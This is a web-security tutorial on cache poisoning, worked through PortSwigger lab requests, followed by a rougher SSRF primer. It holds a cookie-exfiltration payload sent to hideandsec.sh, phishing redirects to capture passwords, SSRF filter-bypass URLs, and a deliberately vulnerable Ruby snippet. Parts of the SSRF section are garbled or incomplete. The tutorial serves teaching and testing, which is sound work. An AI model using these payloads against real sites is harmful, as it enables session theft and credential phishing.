The World Wide Web



Cache Poisoning

What is it ?

Cache poisoning was popularized in 2018, although this attack existed long before, as this 2009 OWASP article shows.
In short, it consists in poisoning the cache that will be served to the next users.
This attack can be anecdotal as very powerful, since it couples with other vulnerabilities, such as XSS or Open Redirection.
For example, we can poison a cache with an XSS, which will steal the session cookies of all users who will go to a certain page.

Beware, this is not to be confused with Web Cache Deception (WCD), which has neither the same methodology nor the same goal.

In order to understand how it works, we need to understand what this attack is based on: the cache.

The purpose of the cache is to reduce the response time of the web server. It acts as an intermediary between the web server and the client. It allows to save web pages that have been previously requested and then provide them to other clients requesting the same page.
There are two important notions that characterize a cache server:

Here is how the caching and then the distribution of the cache is done :


The X-Cache: Hit header indicates that we have contacted the cache, and the X-Cache: Miss directly with the web server.
It is in this second case that the cache will be generated, since it will cache the response returned by the web server.
So, what happens if we manage to inject arbitrary code into the web server's response during an X-Cache: Miss ?

If we take advantage of X-Cache: Miss to inject our arbitrary code, it will be returned and cached, then distributed to all other visitors, without any interaction required from them!
Of course, this cache won't stay forever: it is often defined by the Cache-Control header.
For example: Cache-Control: max-age=180 means that the cache will stay 3 minutes, until the next caching.

Cache keys

Imagine two users from different countries visiting a certain page, such as the home page of a bank.
Given the large number of people visiting the site, in order to serve the visitors faster, the bank decided to set up a cache, this will allow the bank to lighten the requests and not regenerate content for each request as explained before.

But then, how to determine which cache to send?
We won't send a Polish cache to a French visitor, and that's why cache keys are set up.
They will simply choose in the request which elements to choose to distribute the cache.
In our example, it will simply be a language cookie (if there is one), such as lang=fr.
It can also be headers or GET request parameters.


Unkeyed inputs

The unkeyed inputs will be our vector of attack during cache poisoning.
We consider an unkeyed input, a field that is not a cache key, but which is reflected in the response or acts on the response (like redirecting a page to another one).

Like Cache Keys, these can be headers, cookies, or GET request parameters.
They can also be chained (i.e. several unkeyed inputs at once), as we'll see in the "Resource hijacking" example.


Finding unkeyed inputs can be boring, fortunately, to make it easier for us, PortSwigger has concocted a wonderful module : Param Miner.

Param Miner

To use it within Burp, it's very simple:

Here is an example of a Param Miner output:

Updating active thread pool size to 8
Queued 1 attacks
Selected bucket size: 8192 for ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Initiating header bruteforce on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Resuming header bruteforce at -1 on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Identified parameter on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net:
Resuming header bruteforce at -1 on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net
Completed attack on ac741f481eba7f5d80a83ee7003a00d0.web-security-academy.net

We can see in this example that Param Miner has found the X-Forwarded-Host header as an unkeyed input.

Cache buster

The cache buster is a parameter that is added in the request to hide only a specific page. Actually, the requested web page and its parameters are cache keys.
This allows us not to poison the cache of all visitors during tests.



To ensure that you follow this article as closely as possible, here are the headers that we are going to talk about, accompanied by a short description.

About the cache :

X-Cache Indicates whether the response comes from the cache server (X-Cache: hit) or from the web server (X-Cache: miss).


Indicates the age of the cache in seconds.

Indicates caching instructions.
For example, its lifetime in seconds (max-age), or where the response can be cached
(public -> everywhere, private -> in the browser cache).

See more

Vary Defines the headers that will serve as cache keys.

Others :

X-Forwarded-Host Identifies the host initially requested by the client in the Host header of the HTTP request.
X-Forwarded-Scheme Similar to X-Forwarded-Proto, it is used to identify the protocol (HTTP / HTTPS) used to connect to the proxy.
X-Original-Url Indicates the URL initially requested.


We will now move on to practice, using PortSwigger's excellent Cache Poisoning labs (there are 6 in total, but we will only skim them to practice the most important aspects of Cache Poisoning).
For the sake of readability, we have replaced all Exploit Servers URLs with hideandsec.sh.

Basic unkeyed input

In this example we will see how we can poison a site's cache by injecting our own Javascript code.

By using the Burp proxy on the home page, we can see the beginning of this answer :

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: max-age=30
Age: 2
X-Cache: hit
X-XSS-Protection: 0
Content-Length: 10627

<!DOCTYPE html> <html> <head> <link href="/resources/css/labsEcommerce.css" rel="stylesheet"> <script type="text/javascript" src="//acb71fdd1e124550803245dc009d00fe.web-security-academy.net/resources/js/tracking.js"></script> <title>Web cache poisoning with an unkeyed header</title> </head> <body> [...]

Thanks to Param Miner, we can find an unkeyed input: X-Forwarded-Host.
Effectively, by giving it a value we notice that the url of the tracking.js script changes :

GET /?x=buster HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Forwarded-Host: hideandsec.sh

HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Connection: close Cache-Control: max-age=30 Age: 2 X-Cache: hit X-XSS-Protection: 0 Content-Length: 10583

<!DOCTYPE html> <html> <head> <link href="/resources/css/labsEcommerce.css" rel="stylesheet"> <script type="text/javascript" src="//hideandsec.sh/resources/js/tracking.js"></script> <title>Web cache poisoning with an unkeyed header</title> </head> <body> [...]

Bingo ! We can poison the cache for 30 seconds for everyone who comes to see this same page !
Attention, in order to poison the cache, you have to send the request in order to receive an X-Cache: miss, which means that we have sent the request directly to the web server (and not to the cache server), then X-Cache: hit, to check that we have poisoned the cache.
It's mostly a confirmation, to make sure we don't only have X-Cache: miss.

Let's use the first method.
Let's put our payload alert(‘oupsi’) in https://hideandsec.sh/resources/js/tracking.js, re-poison the cache and reload the page :


And it's as simple as that, everyone who accesses the site's home page within 30 seconds will get this message.
Of course it's possible to inject any Javascript code and thus steal cookies or make a CSRF etc... After that it's like a simple stored XSS.

Resource Hijacking

Let's imagine going to a web site and receiving this initial response :

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Keep-Alive: timeout=0
Cache-Control: max-age=30
Age: 24
X-Cache: hit
X-XSS-Protection: 0
Connection: close
Content-Length: 10576

<!DOCTYPE html> <html> <head> <link href="/resources/css/labsEcommerce.css" rel="stylesheet"> <script type="text/javascript" src="/resources/js/tracking.js"></script> <title>Web cache poisoning with multiple headers</title> </head> <body> <div theme="ecommerce"> [...]

We can see :

Let's now launch Burp Suite's Param Miner extension for bruteforce unkeyed inputs in headers :

Updating active thread pool size to 8
Queued 1 attacks
Selected bucket size: 8192 for ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Initiating header bruteforce on ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Resuming header bruteforce at -1 on ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Identified parameter on ace61ff21ef38bb68028159d009a000c.web-security-academy.net:
Resuming header bruteforce at -1 on ace61ff21ef38bb68028159d009a000c.web-security-academy.net
Completed attack on ace61ff21ef38bb68028159d009a000c.web-security-academy.net

Param Miner found the X-Forwarded-Scheme header to be an unkeyed input.
Indeed, when we give it any value other than https, like nothttps or http, it returns a 302 Found (Redirection) :

GET /?x=buster HTTP/1.1
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
X-Forwarded-Scheme: nothttps

HTTP/1.1 302 Found Location: https://ace61ff21ef38bb68028159d009a000c.web-security-academy.net/?x=buster Keep-Alive: timeout=0 Cache-Control: max-age=30 Age: 0 X-Cache: miss X-XSS-Protection: 0 Connection: close Content-Length: 0

We can see that the X-Cache has the value Miss, which means that it has not returned the cache because it has expired (Age: 0), that we have managed to communicate with the server and that it has generated the new cache using this response, for a maximum duration of 30 seconds (max-age=30).
These values concerning the cache can be very useful to develop a small script that will automatically re-poison the cache according to the value of the Age header, in our case every 30 seconds.

This is a beginning of Open Redirection, but not yet, since it does not redirect to a third host.
Luckily we still have the X-Forwarded-Host header!

The X-Forwarded-Host (XFH) header is a de-facto standard header for identifying the original host requested by the client in the Host HTTP request header.

Host names and ports of reverse proxies (load balancers, CDNs) may differ from the origin server handling the request, in that case the X-Forwarded-Host header is useful to determine which Host was originally used.
(From MDN)

Chances are the server will consider our X-Forwarded-Host as the host initiating the request, and therefore use it to generate the redirect links :

GET /?x=buster HTTP/1.1
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
X-Forwarded-Scheme: nothttps
X-Forwarded-Host: hideandsec.sh

HTTP/1.1 302 Found Location: https://hideandsec.sh/?x=buster Keep-Alive: timeout=0 Cache-Control: max-age=30 Age: 0 X-Cache: miss X-XSS-Protection: 0 Connection: close Content-Length: 0

The cache is now poisoned with Open Redirection on our own server.
That's nice, but we can't get very far with that, except by doing

Luckily we have another way to inject code: the tracking.js file we found at the beginning !

GET /resources/js/tracking.js?x=buster HTTP/1.1
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net

HTTP/1.1 200 OK Content-Type: application/javascript Content-Encoding: gzip Keep-Alive: timeout=0 Cache-Control: max-age=30 Age: 29 X-Cache: hit X-XSS-Protection: 0 Connection: close Content-Length: 70

document.write('<img src="/resources/images/tracker.gif?page=post">');

Here is what the request gives us without modification.
Let's retry the operation from before with X-Forwarded-Host and X-Forwarded-Scheme :

GET /resources/js/tracking.js?x=buster HTTP/1.1
X-Forwarded-Host: hideandsec.sh
X-Forwarded-Scheme: nothttps
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net

HTTP/1.1 302 Found Location: https://hideandsec.sh/resources/js/tracking.js?x=buster Keep-Alive: timeout=0 Cache-Control: max-age=30 Age: 0 X-Cache: miss X-XSS-Protection: 0 Connection: close Content-Length: 0

Now all pages that will load the resource /resources/js/tracking.js will load it on our own server.
Now let's configure the payload.
For this demonstration, I will just run an alert alert(“Oupsi doupsi”) on the home page of the site.

PortSwigger offer us an Exploit Server to do this, so let's put the payload in the file /resources/js/tracking.js :


It is important to reproduce the path displayed in the redirection, otherwise the browser will not be able to load our payload.

Let's remove our cache buster ?x=buster to poison the cache of all users, send back our infected request until we get an X-Cache: miss, and watch the result on the browser !


That's it, every new user who visits this page will execute our Javascript payload, with no further interaction required from them !

In summary

We poisoned the /resources/js/tracking.js by causing a 302 redirection to our own server, then we recreated a fake /resources/js/tracking.js on our server, by placing our Javascript payload there.
Therefore, any user going to this page will load our own tracking.js because of the 302 redirection.

Targeted Cache Poisoning

Now imagine, during a Red Team mission for example, wanting to target a single person.
To do so, the server would have to use cookies specific to a user as a cache key (ex: User-Agent, Session ID), to poison only the caches that will be returned to that user.
For example, we can tell if this is the case when the server returns the "Vary: User-Agent" header, but it may be the case even if it doesn't.
Never trust headers.

Let's take the case of a website that allows you to post comments, using HTML (or that you found an XSS on it).
You can insert a comment like this :

<h2>Ahaha cool post ! I love it</h2>
<img src="hideandsec.sh/thxforyouruseragent" />

The browser will naturally try to load the image, so make a request to our server, with its User-Agents.   2020-05-09 06:36:41 +0000 "GET /thxforyouruseragent HTTP/1.1" 404 "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"

So far nothing incredible, but now let's use these User-Agents for our cache poisoning on the example before.

GET /resources/js/tracking.js HTTP/1.1
X-Forwarded-Host: hideandsec.sh
X-Forwarded-Scheme: nothttps
Host: ace61ff21ef38bb68028159d009a000c.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36

HTTP/1.1 302 Found Location: https://hideandsec.sh/resources/js/tracking.js Keep-Alive: timeout=0 Cache-Control: max-age=30 Age: 0 X-Cache: miss X-XSS-Protection: 0 Connection: close Content-Length: 0

You'll notice that we replaced the User-Agent with the one we stole.
Therefore, if the cache is configured to take in consideration the User-Agent as a cache key, this redirection will only be done on users having this same User-Agent (including our target).

Local Route Poisoning

Let's imagine for this example, that after having launched a Param Miner on the headers of a site, we find ourselves with the headers X-Original-Url or X-Rewrite-Url as unkeyed inputs.

In addition to the danger they represent (CWE-436), we can provoke a request that will ask for a page but return another, which will be kept in cache.
See this example :

GET / HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Original-Url: /admin

The site will return us the content of the /admin page, without redirection!
So if we inject this request in cache (X-Cache: Miss -> X-Cache: Hit), all users will receive the content of the /admin page instead of the home page.

Not very interesting, you might say, given that we can only use pages from the targeted site, not our own.
That's why we have to couple this vulnerability to another one.

Open Redirection

Here is an example of what you can do with an Open Redirection :

GET /transactions.php HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Original-Url: /logout.php?callback=https://hideandsec.sh/transactions.php

We ask for /transactions.php, except that behind it, the server will return /logout.php?callback=https://hideandsec.sh/transactions.php.

So it will first go to logout.php, and in both cases (if the server has an open session or not), it will redirect to the callback (our transactions page), whereas if we had made an open redirection to the callback of login.php and the server has no open session, it would have loaded the login page instead of the callback.

This is therefore equivalent of a more elaborate phishing, since no social engineering is required to get a victim to click on a link redirecting to our fake site, and most importantly, all users will be trapped.
We will then be able to retrieve all of our victims' banking data, and even their credentials, by asking them to confirm their password and/or identity during a transaction.


To escape this restriction to redirect only to a page of the site concerned, an XSS can be used.
Let's imagine an XSS on the page
/search?q=<script>alert(“Your site is very secure”)</script>.
Once we can inject javascript, we can do a little bit whatever we want, like injecting a keylogger with BeEF, stealing cookies, redirecting to an external site,...

Here's an example of a request that will steal the victims' cookies :

GET /dashboard HTTP/1.1
Host: acb71fdd1e124550803245dc009d00fe.web-security-academy.net
X-Original-Url: /search?q=<img src=x onerror=this.src='https://hideandsec.sh/?c='+document.cookie />

If the server does not accept this request, encode it, or even encode it twice.

In this request, the server will return the search result with our image <img src=x onerror=this.src='https://hideandsec.sh/?c='+document.cookie />
Once the content of the page is cached, anyone trying to go to their /dashboard will end up on the search page, with our image that they will not be able to load, by sending their cookies.
We use the /dashboard here and not the home page, to be sure to retrieve cookies from people who are logged in.

We could have also redirected the /change_password to ours with <script>window.location.replace("https://hideandsec.sh/change_password");</script>, and redo phishing like the Open Redirection.
If the victim doesn't pay attention to the domain name that has changed in the meantime, we could recover 2 passwords from the victim, the old one and the new one, which we can then use for Password Spraying.





SSRF Series


SSRF (Server-Side Request Forgery: server-side request forgery) is a fake exploit server-initiated requests. Generally, SSRF attacks target internal systems that are not accessible from the external network.


Types of SSRF

1. Show response to attacker (basic)
2. Do now show response (blind)


The basics of the vulnerability

SSRF (Server-Side Request Forgery: Server-Side Request Forgery) is a security vulnerability constructed by an attacker to form a request initiated by the server. Generally, SSRF attacks target internal systems that are not accessible from the external network. (Because it is initiated by the server, it can request the internal system that is connected to it and isolated from the external network)


Where it appears

  1. Social sharing function: Get the title of the hyperlink for display

  2. Transcoding service: Tuning the content of the original web page through the URL address to make it suitable for mobile phone screen browsing

  3. Online translation: translate the content of the corresponding web page to the website

  4. Image loading / downloading: For example, click in a rich text editor to download the image to the local area; load or download the image through the URL address

  5. Picture / article collection function: It will take the content of the title and text in the URL address as a display for a good appliance experience

  6. Cloud service vendor: It will execute some commands remotely to determine whether the website is alive, etc., so if you can capture the corresponding information, you can perform ssrf test

  7. Website collection, where the website is crawled: Some websites will do some information collection for the URL you enter

  8. Database built-in functions: database's copyDatabase function such as mongodb

  9. Mail system: such as receiving mail server address

  10. Encoding processing, attribute information processing, file processing: such as fffmg, ImageMagick, docx, pdf, xml processor, etc.

  11. Undisclosed API implementation and other functions that extend the calling URL: You can use google syntax and add these keywords to find SSRF vulnerabilities

  12. Request resources from a remote server (upload from url such as discuz !; import & expost rss feed such as web blog; where the xml engine object is used such as wordpress xmlrpc.php)


Vulnerability detection / Verifications

  1. Exclusion method: browser f12 checks the source code to see if the request was made locally (For example: If the resource address type is http://www.xxx.com/a.php?image=(address), an SSRF vulnerability may exist)
  2. dnslog and other tools to test to see if they are accessed (You can encode the uri and parameters of the currently prepared request into base64 in the blind typing background use case, so that after blind typing background decoding, you know which machine and which cgi triggered the request.)
  3. Capture and analyze whether the request sent by the server is sent by the server. If it is not a request from the client, it may be, and then find the internal network address where the HTTP service exists (Look for leaked web application intranet addresses from historical vulnerabilities in the vulnerable platform)
  4. Banner, title, content and other information returned directly
  5. Pay attention to bool SSRF

What can we do with SSRF?

  1. SSRF to reflection XSS
  2. Try to use URL to access internal resources and make the server perform operations (file: ///, dict: //, ftp: //, gopher: // ..)
  3. Scan internal networks and ports
  4. If it is running on a cloud instance, you can try to get metadata


Change the writing of IP address

Some developers will filter out the intranet IP by regular matching the passed URL parameters. For example, the following regular expressions are used:

The bypassing technique here is similar to the URL redirection bypass or SSRF bypassing technique.


Single slash "/" bypass:


Missing protocol bypass:


Multi-slash "/" prefix bypass:


Bypass with "@":


Use backslash "" to bypass:


Bypass with "#":


Bypass with "?":


Bypass with "\":


Use "." to bypass:


Repeating special characters to bypass:

https://www.xxx.com/redirect.php?url=///www.evil.com// ..
https://www.xxx.com/redirect.php?url=////www.evil.com// ..


As talked before, there are 2 types of SSRF.

1. Show response to attacker (basic)
2. Do now show response (blind)



As mentioned above, it shows the response to the attacker, so after the server gets the URL requested by the attacker, it will send the response back to the attacker. DEMO (using Ruby). Install the following packages and run the code gem install sinatra

require 'sinatra'
require 'open-uri'

get '/' do format 'RESPONSE: %s', open(params[:url]).read

The above code will open the local server port 4567.

http: // localhost: 4567 /? url = contacts will open the contacts file and display the response in the front end
http: // localhost: 4567 /? url = / etc / passwd will open etc / passwd and respond to the service
http: // localhost: 4567 /? url = https: //google.com will request google.com on the server and display the response

Just get the file from an external site with a malicious payload with a content type of html. Example:



How to prevent SSRF

  1. It is easier to filter the returned information and verify the response of the remote server to the request. If the web application is to get a certain type of file. Then verify that the returned information meets the standards before displaying the returned results to the user.
  2. Disable unwanted protocols and only allow http and https requests. Prevent problems like file: //, gopher: //, ftp: //, etc.
  3. Set URL whitelist or restrict intranet IP (use gethostbyname () to determine if it is an intranet IP)
  4. limit the requested port to the port commonly used by http, such as 80, 443, 8080, 8090 ( Restricted request port can only be web port, only allow access to HTTP and HTTPS requests)
  5. Unified error information to avoid users from judging the port status of the remote server based on the error information.
  6. Restricting Intranet IPs That Cannot Be Accessed to Prevent Attacks on the Intranet
  7. Block return details


Common attack surface

  1. Port scanning can be performed on the external network, the internal network where the server is located, and local to obtain banner information of some services
  2. Attack applications running on the intranet or locally (such as overflow)
  3. Fingerprint identification of intranet WEB applications by accessing default files
  4. Attacks on web applications inside and outside the network, mainly attacks that can be achieved using GET parameters (such as Struts2, sqli, etc.)
  5. Reading local files using the file protocol

Example 1:

Mainly talks about the attack surface used with the gopher protocol. The gopher protocol can be said to be very powerful.

Sending post packets via gopher

The gopher protocol can send post packets. How to send it?
Grab the packet encoding structure. For example, the intranet has an exp.php


Then we set up the environment to access and capture the package locally: